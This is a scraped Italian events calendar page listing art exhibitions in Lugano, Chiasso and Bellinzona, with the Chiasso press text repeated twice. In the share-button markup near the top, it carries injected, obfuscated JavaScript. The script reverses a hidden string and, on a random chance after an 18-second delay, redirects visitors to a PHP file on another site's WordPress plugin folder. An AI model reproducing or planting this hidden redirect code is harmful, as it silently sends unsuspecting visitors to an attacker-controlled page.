Calendario

Mar
1
Lun
Grande attesa per la mostra Da Vinci Experience che riaprirà le porte lunedì 1 Marzo e si prolungherà fino a domenica 30 Maggio. @ Lugano
Mar 1–Mag 30 giorno intero
ande attesa per la mostra Da Vinci Experience che riaprirà le porte lunedì 1 Marzo e si prolungherà fino a domenica 30 Maggio.&url=https://www.eticinforma.ch/evento/grande attesa per la mostra Da Vinci Experience che riaprirà le porte lunedì 1 Marzo e si prolungherà fino a domenica 30 Maggio." target="_blank" title="Share to Reddit" class="s3-reddit hint--top">$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande attesa per la mostra Da Vinci Experience che riaprirà le porte lunedì 1 Marzo e si prolungherà fino a domenica 30 Maggio." target="_blank" title="Share to StumbleUpon" class="s3-stumbleupon hint--top">
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Un percorso sensoriale creato appositamente per vivere e sentire l’arte attraverso le proiezioni e i video full HD a 360°, per confrontarsi con l’esperienza della realtà virtuale e per toccare con mano le grandi invenzioni di Leonardo in scala reale.

Orari

Aperto tutti i giorni
Lunedì – Venerdì dalle 13.00 alle 19.00
Sabato, Domenica e festivi: dalle 10.00 alle 20.00

Prezzi

Intero: CHF 20.00
Ridotto Studenti / AVS / Gruppi / AI CHF 16.00

Ridotto Bambini (dai 6 ai 15 anni): CHF 10.00
Pacchetto Famiglia (2 adulti e 2 bambini): CHF 55.00
0-5 anni: ingresso gratuito

Scuole

Tariffe agevolate previste per bambini e scuole, quest’ultime privilegiate da orari di accesso esclusivi e pacchetti con accompagnatori gratuiti, per incentivare un modo nuovo di imparare l’arte e stimolare la creatività immersi in un meraviglioso mondo di suoni e colori.

Covid

La mostra si svolge nel pieno rispetto delle normative anti Covid 19, si prega la clientela di indossare la mascherina prima di accedere alla mostra e di tenerla indossata durante tutta la permanenza (le mascherine sono acquistabili anche sul posto).

I flussi di entrata ed uscita saranno regolati al fine di evitare gli assembramenti. Gli accessi saranno contingentati secondo le direttive federali.

GC Events, Promotore della mostra, ringrazia la Città di Lugano, il Presenting Partner UBS e i Main Partners MIGROS Ticino Percento Culturale, EMME e Garzoni per il supporto e la preziosa collaborazione

Sito ufficiale: www.davinciexperience.ch
Salta la fila acquistando i biglietti in prevendita su www.ticketcorner.ch e www.biglietteria.ch oppure offline presso MANOR, La Posta e CoopCity.
Maggiori Informazioni: info@davinciexperience.ch oppure telefonando al numero +41793448114.

Mar
2
Mar
m.a.x. museo, CHIASSO (SVIZZERA) ¦ LA MOSTRA LA REINTERPRETAZIONE DEL CLASSICO… dal 2 marzo al 12 sett. 2021 @ Chiasso
Mar 2–Set 12 giorno intero

m.a.x. museo, CHIASSO (SVIZZERA) ¦ LA MOSTRA LA REINTERPRETAZIONE DEL CLASSICO… dal 2 marzo al 12 stt. 2021
DAL RILIEVO ALLA VEDUTA ROMANTICA NELLA GRAFICA STORICA

DAL 2 MARZO AL 12 SETTEMBRE 2021

La mostra LA REINTERPRETAZIONE DEL CLASSICO: DAL RILIEVO ALLA VEDUTA ROMANTICA NELLA GRAFICA STORICA ha l’obiettivo di presentare la produzione incisoria dell’Antico fra Settecento e Ottocento ripercorrendo il fenomeno storico della reinterpretazione e della fortuna critica del classico. L’esposizione si inserisce nel filone della “grafica storica”, uno degli ambiti di approfondimento del m.a.x. museo, ed è curata da Susanne Bieri e Nicoletta Ossanna Cavadini.

Dal 2 marzo al 12 settembre 2021 saranno esposte quasi duecento incisioni all’acquaforte, a bulino e puntasecca di rara bellezza, stampe acquarellate, litografie e cromolitografie. In mostra sarà possibile ammirare, fra le altre, le incisioni volute da Johan Joachim Winckelmann per rappresentare l’Antico, le stupende acqueforti di Giovanni Battista e Francesco Piranesi, le suggestive incisioni di Luigi Rossini e le molte vedute fra cui quelle di Nicolas-Marie-Joseph Chapuy e di Johann Jakob Wetzel, paesaggi delle città europee mete del Grand Tour, affiancati da alcuni pregevoli reperti archeologici (monete, medaglie e marmi).

Alla mostra è abbinato il catalogo, con saggi di Massimo Lolli, Susanne Bieri, Angela Windholz, Pierluigi Panza, Mauro Reali, Raffaella Bosso e Nicoletta Ossanna Cavadini e un ricco apparato iconografico. Viene proposto anche un “mini-catalogo” 15,5 x 15,5 (pp. 120, edizioni m.a.x. museo) con testi pannelli mostra e una selezione di immagini.

L’esposizione vanta la sinergia con il Museo Archeologico Nazionale di Napoli MANN e una fitta rete di prestatori: la Biblioteca dell’Accademia di architettura USI di Mendrisio, la Biblioteca Cantonale di Lugano, il m.a.x. museo di Chiasso con la sua collezione, l’associazione Avvenire dell’Antico (AdA) e molti collezionisti privati. È resa possibile grazie al Dicastero Educazione e Attività culturali del Comune di Chiasso, con il sostegno della Repubblica e Cantone Ticino-Fondo Swisslos, di “Cultura in movimento” dell’Aiuto federale per la lingua e la cultura italiana, dall’AGE SA, dell’associazione amici del m.a.x. museo (aamm).
Si ringrazia la SUPSI-Scuola universitaria professionale della Svizzera italiana, e in particolare il Laboratorio cultura visiva del Dipartimento ambiente costruzioni e design, per la collaborazione nell’ambito del progetto grafico, così come MyAcademy e Tectel per lo sponsoring tecnico.

Apertura mostra: MARTEDÌ 2 MARZO, ore 10.00

Presentazione mostra: DOMENICA 6 GIUGNO 2021, ore 17.30, Spazio Officina

• DAL RILIEVO ALLA VEDUTA ROMANTICA NELLA GRAFICA STORICA
Nella seconda metà del Settecento, la nascita del Neoclassicismo teorico portò alla riscoperta dello studio dell’Antico e dei monumenti classici. Johan Joachim Winckelmann, considerato il padre della storia dell’arte moderna, pubblicò nel 1767 i Monumenti antichi inediti: in essi, a corredo della
parte scritta, vennero presentate per la prima volta con l’intento di illustrare l’Antico le incisioni che raffiguravano opere classiche delle collezioni romane.
La volontà di divulgare attraverso l’espressione grafica il “monumento” e il “manufatto artistico” quale esempio da conoscere ed emulare, costituisce la prima fase di valorizzazione dell’Antico del XVIII secolo. Il disegno e rilievo del monumento, rappresentato fedelmente attraverso un sistema proporzionale codificato, ne permette lo studio e la divulgazione. L’Antico fornisce un vasto campionario a cui attingere in forma critica e personale al fine di apportare nuova linfa creativa e funzionale all’arte e all’architettura, come afferma il critico Wilton-Ely: “Dall’ampliata visione del passato emerge con forza la consapevolezza dell’unicità del presente, e della necessità di individuare forme espressive adeguate alla condizione moderna”.

Il passo da Winckelmann a Giovanni Battista Piranesi è breve: il grande artista e incisore veneziano trovò a Roma la fonte dell’Antico che gli permise di dare origine a incredibili e visionarie interpretazioni, con lo scopo dichiarato di stimolare l’immaginazione degli artisti contemporanei. Nella sua vasta produzione – basti citare Le Carceri (1745 e seconda edizione 1761, rielaborata nel 1770) o ancora Della magnificenza ed architettura de’ Romani (1761) – Piranesi apre la via a un nuovo sistema di ricerca archeologica, rivolto sia allo studio dei processi tecnici e costruttivi sia alla ricchezza dei repertori ornamentali. Egli dà avvio anche a una polemica con il programma rigorista e filoellenico di Winckelmann e si schiera in favore dell’architettura romana, sottolineandone la capacità tecnica e la ricchezza inventiva. La diffusione delle grandi e affascinanti incisioni “in folio” contribuì molto a creare una documentazione di viaggio del Grand Tour; le immagini che gli incisori restituivano non sono più studi sull’architettura antica ma splendide vedute che ricordano ai viaggiatori i luoghi attraversati e li aiutano inoltre a identificare i monumenti descritti nelle guide.

È il caso di Luigi Rossini, maestro dell’arte incisoria e riconosciuto dalla critica come l’ultimo grande illustratore delle meraviglie di Roma e Pompei dopo Giuseppe Vasi e Piranesi, prima dell’avvento della fotografia. Dall’incisione che riproduce la veduta oggettiva, figlia del vedutismo settecentesco delle Antichità romane, si passa quindi all’apertura verso le prime espressioni del “Panorama” in cui è fondamentale la forma dell’illusionismo visivo, o ad altre in cui l’artista decide di modificare, omettere o aggiungere alcuni elementi per ottenere un effetto di grande suggestione scenografica. La veduta romantica diventa così anche una fantasia di monumenti, assemblati per suscitare emozione, stupore ed effetti che raggiungono il Pittoresco.

• PERCORSO ESPOSITIVO

La mostra si apre con una ventina di incisioni dei “Monumenti Antichi inediti” del 1767, le incisioni della prima edizione de Le Carceri di Gian Battista Piranesi, le Lapides Capitolini con Antichità di Cora e Castello dell’Acqua Giulia (1762) nonché la meravigliosa pianta di Villa Adriana a Tivoli (1760-1778) e le incisioni eseguite dal figlio Francesco, che ritraggono le prime scoperte di Pompei (1789); si affiancano nelle bacheche due Raccolte di volumi “in folio” delle bellissime acqueforti piranesiane. Si prosegue con le opere di Luigi Rossini con il Frontespizio delle Antichità di Roma divise in 40 vedute, la Raccolta di Cinquanta Principali Vedute di antichità (1818-1819), Le Antichità romane… (18231929), nonché diverse vedute di assemblaggio di monumenti in litografia, gli stupendi Panorami che propongono una vista ad ampio orizzonte e alcune vedute – provenienti da una collezione privata – che ritraggono le città europee oggetto del più vasto itinerario di viaggio ottocentesco, che raggiunge anche la terra dei laghi insubrica con le città di Como, Lugano, Locarno e Ascona.

• LA MOSTRA IN CIFRE

La mostra offre un repertorio molto affascinate che permette di immergersi nel concetto di Antico espresso nel XVIII e XIX secolo prima dell’avvento della fotografia.
Globalmente sono esposte quasi 200 opere – provenienti da 9 prestatori – allestite nelle sale del m.a.x. museo, seguendo diversi ambiti tematici che comprendono 86 acqueforti e incisioni a bulino rafforzate a puntasecca, 4 libri antichi, 3 Raccolte “in folio” con incisioni all’acquaforte, 66 vedute ad acquaforte, acquatinta, litografie, litografie acquerellate a mano e cromolitografie, 16 piccole incisioni all’acquaforte e bulino realizzate per un pubblico meno esigente, 10 guide di viaggio con litografie o cromolitografie. Fra i reperti archeologici messi a raffronto con le grafiche troviamo: una ventina di monete romane, una medaglia, tre sculture di teste in marmo e due meravigliosi candelabri in marmo, pastiche realizzato da Piranesi.

• IL CATALOGO
Il catalogo si compone dei saggi di Massimo Lolli (“Un mondo in divenire: la reinterpretazione del classico“), Susanne Bieri (“L’influenza di Winckelmann nella disciplina artistica in epoca illuminista”), Angela Windholz (“Giovanni Battista Piranesi “immaginatore” del classico”, La Villa Adriana a Tivoli), Pierluigi Panza (“Antiquariato, scienza dell’Antico e riuso immaginativo: Piranesi e le scoperte di Ercolano e Paestum“), Mauro Reali (“Giovanni Battista Piranesi: le lapidi reinterpretate”), Raffaella Bosso (“I candelabri con trampolieri, pastiches di marmo “all’antica”. La libertà inventiva di Giovanni Battista e Francesco Piranesi”) e Nicoletta Ossanna Cavadini (“Dal segno grafico, quale medium della conoscenza dell’Antico, alla reinterpretazione romantica”). Oltre ai testi, il volume è corredato da 220 immagini riprodotte a colori nella sezione dedicata alle tavole. Nella scheda allegata, inserita nella cartella stampa, si trovano brevi estratti dei saggi in catalogo e i CV degli studiosi estensori dei saggi.
Il catalogo “La Reinterpretazione del classico: dal rilievo alla veduta romantica nella grafica storica” è pubblicato da edizioni m.a.x. museo 2021, Chiasso, italiano/inglese, pp. 320, CHF/Euro 36.

Affianca il catalogo vero e proprio una sorta di “mini-catalogo”, maneggevole e di semplice consultazione, che contiene i testi pannelli della mostra e una selezione delle immagini delle opere più significative esposte in mostra. Una delle particolarità di questa pubblicazione consiste nel creare al pubblico giovane un’occasione di poter acquistare il catalogo in una formula molto maneggevole e più economica.

• BOX DIGITALE
La mostra LA REINTERPRETAZIONE DEL CLASSICO: DAL RILIEVO ALLA VEDUTA ROMANTICA NELLA GRAFICA STORICA offre – tra l’altro – l’opportunità al visitatore di visione interamente due Raccolte di volumi “in folio” di Luigi Rossini. Nell’impossibilità di poter sfogliare questi preziosi libri, come avveniva nel Settecento e Ottocento nelle Biblioteche private dei palazzi o nelle sale di conversazione, il visitatore può vedere le splendide acqueforti in forma digitale. Nell’atrio-balcone infatti (a cui si accede da Sala 2) viene infatti messo a disposizione un box digitale che permette di vedere le opere mostrando a rotazione tutte le sue pagine; per ogni volume c’è uno zoom su tre particolarità: il dettaglio architettonico, la qualità del segno, il ritratto aneddotico dei personaggi e delle scene di vita quotidiana. Questa novità per il m.a.x. museo approntata da Tectel, che ha curato la scansione delle opere e il montaggio delle immagini, permette di fruire del materiale digitale in tutta sicurezza, con un sistema No-Touch e visione temporizzata in sequenza in loop (della durata totale di 15 minuti).

• AUDIOGUIDE

In mostra saranno presenti audioguide smARTravel in quattro lingue (I, F, D, E) che permetteranno di dare una chiave di lettura all’esposizione, di soffermarsi con una descrizione specifica sulle principali opere esposte in maniera del tutto personale. Ogni audioguida iPad Touch (disinfettata dopo ogni uso, con pellicole protettive) è dotata di auricolari usa e getta.
È inoltre possibile vivere la mostra con il proprio cellulare attraverso l’applicazione per smartphone smARTravel, di facile utilizzo, concepita come guida multimediale in ambito culturale, museale e di valorizzazione territoriale; è adattata ad hoc per una fruizione da dispositivo mobile, con sistema Android (Google) o iOS (Apple).
Il m.a.x. museo dunque intende sempre offrire al visitatore tutti gli strumenti utili a una visione completa e circostanziata delle opere esposte, a dipendenza delle proprie preferenze: in autonomia con l’audioguida o il proprio smartphone. Sono previste visite guidate personalizzate, che saranno organizzate nel rispetto delle misure di sicurezza per i partecipanti e in orario concordato, a museo chiuso.

• VIDEO IN MOSTRA (sala video, seminterrato)
Come per tutte le mostre del m.a.x. museo, sarà realizzato un video dedicato all’attuale esposizione a cura di 3D Ultrafragola – Sky Arte, con interviste ai curatori Susanne Bieri e Nicoletta Ossanna Cavadini e Paolo Giulierini. Il filmato sarà visibile anche sulla piattaforma online www.ultrafragola.tv, e in onda nel format Sky-Arts.
Sarà inoltre proiettato il video che lo storico dell’arte e regista Massimo Becattini ha dedicato a Giovanni Battista Piranesi e l’Antico, “The Lumière Mystérieuse”.

• “UNA CORNICE PER ARTISTI EMERGENTI”

Il m.a.x. museo ha dato il via nel 2020 a una iniziativa denominata “Una cornice per artisti emergenti”, per dare l’opportunità a giovani artisti, in concomitanza con il periodo espositivo di ogni mostra al m.a.x. museo e allo Spazio Officina, di esporre una propria opera nella “cornice” esterna (box window) dello Spazio Officina.
In occasione della mostra LA REINTERPRETAZIONE DEL CLASSICO: DAL RILIEVO ALLA VEDUTA ROMANTICA NELLA GRAFICA STORICA viene esposta l’opera di Tatiana Valsangiacomo (1996) Io – Parte di me
(vedi scheda opera, documento allegato alla cartella stampa)

DAL RILIEVO ALLA VEDUTA ROMANTICA NELLA GRAFICA STORICA

DAL 2 MARZO AL 12 SETTEMBRE 2021

La mostra LA REINTERPRETAZIONE DEL CLASSICO: DAL RILIEVO ALLA VEDUTA ROMANTICA NELLA GRAFICA STORICA ha l’obiettivo di presentare la produzione incisoria dell’Antico fra Settecento e Ottocento ripercorrendo il fenomeno storico della reinterpretazione e della fortuna critica del classico. L’esposizione si inserisce nel filone della “grafica storica”, uno degli ambiti di approfondimento del m.a.x. museo, ed è curata da Susanne Bieri e Nicoletta Ossanna Cavadini.

Dal 2 marzo al 12 settembre 2021 saranno esposte quasi duecento incisioni all’acquaforte, a bulino e puntasecca di rara bellezza, stampe acquarellate, litografie e cromolitografie. In mostra sarà possibile ammirare, fra le altre, le incisioni volute da Johan Joachim Winckelmann per rappresentare l’Antico, le stupende acqueforti di Giovanni Battista e Francesco Piranesi, le suggestive incisioni di Luigi Rossini e le molte vedute fra cui quelle di Nicolas-Marie-Joseph Chapuy e di Johann Jakob Wetzel, paesaggi delle città europee mete del Grand Tour, affiancati da alcuni pregevoli reperti archeologici (monete, medaglie e marmi).

Alla mostra è abbinato il catalogo, con saggi di Massimo Lolli, Susanne Bieri, Angela Windholz, Pierluigi Panza, Mauro Reali, Raffaella Bosso e Nicoletta Ossanna Cavadini e un ricco apparato iconografico. Viene proposto anche un “mini-catalogo” 15,5 x 15,5 (pp. 120, edizioni m.a.x. museo) con testi pannelli mostra e una selezione di immagini.

L’esposizione vanta la sinergia con il Museo Archeologico Nazionale di Napoli MANN e una fitta rete di prestatori: la Biblioteca dell’Accademia di architettura USI di Mendrisio, la Biblioteca Cantonale di Lugano, il m.a.x. museo di Chiasso con la sua collezione, l’associazione Avvenire dell’Antico (AdA) e molti collezionisti privati. È resa possibile grazie al Dicastero Educazione e Attività culturali del Comune di Chiasso, con il sostegno della Repubblica e Cantone Ticino-Fondo Swisslos, di “Cultura in movimento” dell’Aiuto federale per la lingua e la cultura italiana, dall’AGE SA, dell’associazione amici del m.a.x. museo (aamm).
Si ringrazia la SUPSI-Scuola universitaria professionale della Svizzera italiana, e in particolare il Laboratorio cultura visiva del Dipartimento ambiente costruzioni e design, per la collaborazione nell’ambito del progetto grafico, così come MyAcademy e Tectel per lo sponsoring tecnico.

Apertura mostra: MARTEDÌ 2 MARZO, ore 10.00

Presentazione mostra: DOMENICA 6 GIUGNO 2021, ore 17.30, Spazio Officina

• DAL RILIEVO ALLA VEDUTA ROMANTICA NELLA GRAFICA STORICA
Nella seconda metà del Settecento, la nascita del Neoclassicismo teorico portò alla riscoperta dello studio dell’Antico e dei monumenti classici. Johan Joachim Winckelmann, considerato il padre della storia dell’arte moderna, pubblicò nel 1767 i Monumenti antichi inediti: in essi, a corredo della
parte scritta, vennero presentate per la prima volta con l’intento di illustrare l’Antico le incisioni che raffiguravano opere classiche delle collezioni romane.
La volontà di divulgare attraverso l’espressione grafica il “monumento” e il “manufatto artistico” quale esempio da conoscere ed emulare, costituisce la prima fase di valorizzazione dell’Antico del XVIII secolo. Il disegno e rilievo del monumento, rappresentato fedelmente attraverso un sistema proporzionale codificato, ne permette lo studio e la divulgazione. L’Antico fornisce un vasto campionario a cui attingere in forma critica e personale al fine di apportare nuova linfa creativa e funzionale all’arte e all’architettura, come afferma il critico Wilton-Ely: “Dall’ampliata visione del passato emerge con forza la consapevolezza dell’unicità del presente, e della necessità di individuare forme espressive adeguate alla condizione moderna”.

Il passo da Winckelmann a Giovanni Battista Piranesi è breve: il grande artista e incisore veneziano trovò a Roma la fonte dell’Antico che gli permise di dare origine a incredibili e visionarie interpretazioni, con lo scopo dichiarato di stimolare l’immaginazione degli artisti contemporanei. Nella sua vasta produzione – basti citare Le Carceri (1745 e seconda edizione 1761, rielaborata nel 1770) o ancora Della magnificenza ed architettura de’ Romani (1761) – Piranesi apre la via a un nuovo sistema di ricerca archeologica, rivolto sia allo studio dei processi tecnici e costruttivi sia alla ricchezza dei repertori ornamentali. Egli dà avvio anche a una polemica con il programma rigorista e filoellenico di Winckelmann e si schiera in favore dell’architettura romana, sottolineandone la capacità tecnica e la ricchezza inventiva. La diffusione delle grandi e affascinanti incisioni “in folio” contribuì molto a creare una documentazione di viaggio del Grand Tour; le immagini che gli incisori restituivano non sono più studi sull’architettura antica ma splendide vedute che ricordano ai viaggiatori i luoghi attraversati e li aiutano inoltre a identificare i monumenti descritti nelle guide.

È il caso di Luigi Rossini, maestro dell’arte incisoria e riconosciuto dalla critica come l’ultimo grande illustratore delle meraviglie di Roma e Pompei dopo Giuseppe Vasi e Piranesi, prima dell’avvento della fotografia. Dall’incisione che riproduce la veduta oggettiva, figlia del vedutismo settecentesco delle Antichità romane, si passa quindi all’apertura verso le prime espressioni del “Panorama” in cui è fondamentale la forma dell’illusionismo visivo, o ad altre in cui l’artista decide di modificare, omettere o aggiungere alcuni elementi per ottenere un effetto di grande suggestione scenografica. La veduta romantica diventa così anche una fantasia di monumenti, assemblati per suscitare emozione, stupore ed effetti che raggiungono il Pittoresco.

• PERCORSO ESPOSITIVO

La mostra si apre con una ventina di incisioni dei “Monumenti Antichi inediti” del 1767, le incisioni della prima edizione de Le Carceri di Gian Battista Piranesi, le Lapides Capitolini con Antichità di Cora e Castello dell’Acqua Giulia (1762) nonché la meravigliosa pianta di Villa Adriana a Tivoli (1760-1778) e le incisioni eseguite dal figlio Francesco, che ritraggono le prime scoperte di Pompei (1789); si affiancano nelle bacheche due Raccolte di volumi “in folio” delle bellissime acqueforti piranesiane. Si prosegue con le opere di Luigi Rossini con il Frontespizio delle Antichità di Roma divise in 40 vedute, la Raccolta di Cinquanta Principali Vedute di antichità (1818-1819), Le Antichità romane… (18231929), nonché diverse vedute di assemblaggio di monumenti in litografia, gli stupendi Panorami che propongono una vista ad ampio orizzonte e alcune vedute – provenienti da una collezione privata – che ritraggono le città europee oggetto del più vasto itinerario di viaggio ottocentesco, che raggiunge anche la terra dei laghi insubrica con le città di Como, Lugano, Locarno e Ascona.

• LA MOSTRA IN CIFRE

La mostra offre un repertorio molto affascinate che permette di immergersi nel concetto di Antico espresso nel XVIII e XIX secolo prima dell’avvento della fotografia.
Globalmente sono esposte quasi 200 opere – provenienti da 9 prestatori – allestite nelle sale del m.a.x. museo, seguendo diversi ambiti tematici che comprendono 86 acqueforti e incisioni a bulino rafforzate a puntasecca, 4 libri antichi, 3 Raccolte “in folio” con incisioni all’acquaforte, 66 vedute ad acquaforte, acquatinta, litografie, litografie acquerellate a mano e cromolitografie, 16 piccole incisioni all’acquaforte e bulino realizzate per un pubblico meno esigente, 10 guide di viaggio con litografie o cromolitografie. Fra i reperti archeologici messi a raffronto con le grafiche troviamo: una ventina di monete romane, una medaglia, tre sculture di teste in marmo e due meravigliosi candelabri in marmo, pastiche realizzato da Piranesi.

• IL CATALOGO
Il catalogo si compone dei saggi di Massimo Lolli (“Un mondo in divenire: la reinterpretazione del classico“), Susanne Bieri (“L’influenza di Winckelmann nella disciplina artistica in epoca illuminista”), Angela Windholz (“Giovanni Battista Piranesi “immaginatore” del classico”, La Villa Adriana a Tivoli), Pierluigi Panza (“Antiquariato, scienza dell’Antico e riuso immaginativo: Piranesi e le scoperte di Ercolano e Paestum“), Mauro Reali (“Giovanni Battista Piranesi: le lapidi reinterpretate”), Raffaella Bosso (“I candelabri con trampolieri, pastiches di marmo “all’antica”. La libertà inventiva di Giovanni Battista e Francesco Piranesi”) e Nicoletta Ossanna Cavadini (“Dal segno grafico, quale medium della conoscenza dell’Antico, alla reinterpretazione romantica”). Oltre ai testi, il volume è corredato da 220 immagini riprodotte a colori nella sezione dedicata alle tavole. Nella scheda allegata, inserita nella cartella stampa, si trovano brevi estratti dei saggi in catalogo e i CV degli studiosi estensori dei saggi.
Il catalogo “La Reinterpretazione del classico: dal rilievo alla veduta romantica nella grafica storica” è pubblicato da edizioni m.a.x. museo 2021, Chiasso, italiano/inglese, pp. 320, CHF/Euro 36.

Affianca il catalogo vero e proprio una sorta di “mini-catalogo”, maneggevole e di semplice consultazione, che contiene i testi pannelli della mostra e una selezione delle immagini delle opere più significative esposte in mostra. Una delle particolarità di questa pubblicazione consiste nel creare al pubblico giovane un’occasione di poter acquistare il catalogo in una formula molto maneggevole e più economica.

• BOX DIGITALE
La mostra LA REINTERPRETAZIONE DEL CLASSICO: DAL RILIEVO ALLA VEDUTA ROMANTICA NELLA GRAFICA STORICA offre – tra l’altro – l’opportunità al visitatore di visione interamente due Raccolte di volumi “in folio” di Luigi Rossini. Nell’impossibilità di poter sfogliare questi preziosi libri, come avveniva nel Settecento e Ottocento nelle Biblioteche private dei palazzi o nelle sale di conversazione, il visitatore può vedere le splendide acqueforti in forma digitale. Nell’atrio-balcone infatti (a cui si accede da Sala 2) viene infatti messo a disposizione un box digitale che permette di vedere le opere mostrando a rotazione tutte le sue pagine; per ogni volume c’è uno zoom su tre particolarità: il dettaglio architettonico, la qualità del segno, il ritratto aneddotico dei personaggi e delle scene di vita quotidiana. Questa novità per il m.a.x. museo approntata da Tectel, che ha curato la scansione delle opere e il montaggio delle immagini, permette di fruire del materiale digitale in tutta sicurezza, con un sistema No-Touch e visione temporizzata in sequenza in loop (della durata totale di 15 minuti).

• AUDIOGUIDE

In mostra saranno presenti audioguide smARTravel in quattro lingue (I, F, D, E) che permetteranno di dare una chiave di lettura all’esposizione, di soffermarsi con una descrizione specifica sulle principali opere esposte in maniera del tutto personale. Ogni audioguida iPad Touch (disinfettata dopo ogni uso, con pellicole protettive) è dotata di auricolari usa e getta.
È inoltre possibile vivere la mostra con il proprio cellulare attraverso l’applicazione per smartphone smARTravel, di facile utilizzo, concepita come guida multimediale in ambito culturale, museale e di valorizzazione territoriale; è adattata ad hoc per una fruizione da dispositivo mobile, con sistema Android (Google) o iOS (Apple).
Il m.a.x. museo dunque intende sempre offrire al visitatore tutti gli strumenti utili a una visione completa e circostanziata delle opere esposte, a dipendenza delle proprie preferenze: in autonomia con l’audioguida o il proprio smartphone. Sono previste visite guidate personalizzate, che saranno organizzate nel rispetto delle misure di sicurezza per i partecipanti e in orario concordato, a museo chiuso.

• VIDEO IN MOSTRA (sala video, seminterrato)
Come per tutte le mostre del m.a.x. museo, sarà realizzato un video dedicato all’attuale esposizione a cura di 3D Ultrafragola – Sky Arte, con interviste ai curatori Susanne Bieri e Nicoletta Ossanna Cavadini e Paolo Giulierini. Il filmato sarà visibile anche sulla piattaforma online www.ultrafragola.tv, e in onda nel format Sky-Arts.
Sarà inoltre proiettato il video che lo storico dell’arte e regista Massimo Becattini ha dedicato a Giovanni Battista Piranesi e l’Antico, “The Lumière Mystérieuse”.

• “UNA CORNICE PER ARTISTI EMERGENTI”

Il m.a.x. museo ha dato il via nel 2020 a una iniziativa denominata “Una cornice per artisti emergenti”, per dare l’opportunità a giovani artisti, in concomitanza con il periodo espositivo di ogni mostra al m.a.x. museo e allo Spazio Officina, di esporre una propria opera nella “cornice” esterna (box window) dello Spazio Officina.
In occasione della mostra LA REINTERPRETAZIONE DEL CLASSICO: DAL RILIEVO ALLA VEDUTA ROMANTICA NELLA GRAFICA STORICA viene esposta l’opera di Tatiana Valsangiacomo (1996) Io – Parte di me
(vedi scheda opera, documento allegato alla cartella stampa)

Mar
19
Ven
Irma Blank. BLANK, Museo Villa dei Cedri, Bellinzona, 19 marzo – 1° agosto 2021 @ Bellinzona
Mar 19–Ago 1 giorno intero

Dal 19 marzo al 1° agosto 2021, il Museo Villa dei Cedri rende omaggio all’artista tedesca Irma Blank che, a metà degli anni Cinquanta, lascia la Germania per trasferirsi in Sicilia. Quest’esperienza di sradicamento e isolamento – tanto geografico quanto culturale e linguistico – segna gli esordi della sua pratica artistica. Imperniato sul linguaggio, il suo lavoro si sviluppa attraverso la ricerca di una scrittura svicolata da qualsiasi significato.
La mostra si focalizza su un aspetto distintivo e poco studiato dell’opera di Blank, ovvero l’utilizzo libero e intuitivo del colore. Così, tramite diverse tecniche – disegno, pittura, serigrafia su poliestere o acciaio specchiante ma anche performance –, il percorso espositivo propone una visione originale delle scelte cromatiche e strutturali dell’artista, tra gesto, segno e colore.

Tra scrittura asemantica e grafia poetica
Irma Blank è da sempre appassionata di lingua e letteratura. Nata nel 1934 a Celle, in Germania, si trasferisce a Siracusa nel 1955. Questo sradicamento geografico, culturale e linguistico sarà alla base della sua ricerca artistica. Il suo lavoro sembra proporre una sintesi dei tempi in cui viviamo: strettamente legata alla sua storia personale, scaturisce dalla sua particolare situazione di migrazione e di isolamento culturale, tipica anche della nostra società contemporanea.
Le sue prime opere sono realizzate alla fine degli anni Sessanta, periodo nel quale crea un segno autonomo spoglio di significato, al contempo scritto e disegnato. Irma Blank recupera i simboli basilari della comunicazione per ricondurli ad una scrittura visiva. Purificata da qualsiasi senso semantico, la sua grafia diventa una traccia silenziosa, un linguaggio universale. L’artista interagisce così con un ipotetico interlocutore, mettendo allo stesso tempo in atto un soliloquio. Questa peculiarità della sua produzione, affascinante e contraddittoria, si dispiega in tutta la sua opera, dai primi disegni alle creazioni più recenti. Declinata principalmente in disegni, acquarelli, inchiostri e dipinti, la sua ricerca gravita attorno alla nozione di «libro» e si estende al mondo dell’editoria – dai libri unici ai libri d’artista – includendo anche delle «azioni», ovvero performance in pubblico, così come delle registrazioni sonore.

Il percorso espositivo
La mostra al Museo Villa dei Cedri propone un’immersione cromatica e sensoriale nell’arte di Irma Blank, distinguendosi da un itinerario prettamente cronologico. Basandosi su riflessioni sia concettuali che personali associate all’esperienza vissuta, l’artista integra il colore nella sua esplorazione della scrittura disegnata, attraverso l’uso di diverse tecniche, come l’acquerello o la penna a sfera. In un’opera segnata dal silenzio e dalla disciplina, ogni scelta cromatica è di singolare importanza e ogni colore – anche il bianco e il nero – assume un significato ben preciso, che l’artista non impone tuttavia allo spettatore, lasciandogli la libertà di contemplare le opere secondo la sua sensibilità.
Ai suoi esordi, Irma Blank ricorre spontaneamente al blu e al nero, ma anche al rosso – colori della scrittura –, aprendosi poi progressivamente a tinte più inconsuete come il rosa e il viola. Se il rosa può apparire come un colore sorprendente nell’ascetismo della sua ricerca artistica, per Irma Blank simboleggia tuttavia l’introspezione, l’indagine, ma anche l’analisi, l’orientamento e l’identificazione, «come una persona alla ricerca della propria identità». Così, nell’allestimento della mostra, le prime due sale sono consacrate al rosa e al viola, mentre il blu – il colore dell’inchiostro, del cielo, dell’infinito, della determinazione e dell’utopia – concluderà il percorso. Particolarmente importante per l’artista, il blu ricopre un ruolo predominante nel suo lavoro, soprattutto nel periodo dei Radical Writings (1983-1996), dove scrittura e disegno si confondono nella progressiva esplorazione della linea. Irma Blank scopre qui la relazione diretta tra la sua pennellata e il ritmo del suo respiro, assimilandoli.
Il nero, colore della parola stampata, della scrittura e quindi del libro, è centrale nell’opera di Blank. La sua pratica artistica è infatti scandita dalla realizzazione di libri unici (e alcune edizioni), spesso corrispondenti ad opere su cui sta lavorando. Il nero è seguito da un’esplosione di colori nelle serie Germinazioni e Annotazioni (1982-1983) che, presentate in anteprima al Museo Villa dei Cedri, aprono il percorso espositivo al secondo piano. In queste opere, il verde e l’oro appaiono per la prima e unica volta nel lavoro di Blank. Utilizzato per la sua particolare densità, che contrasta con la leggerezza dell’acquerello, l’oro riflette la luce con inaspettata intensità, creando quasi diverse versioni della stessa opera a seconda delle condizioni atmosferiche e luminose.

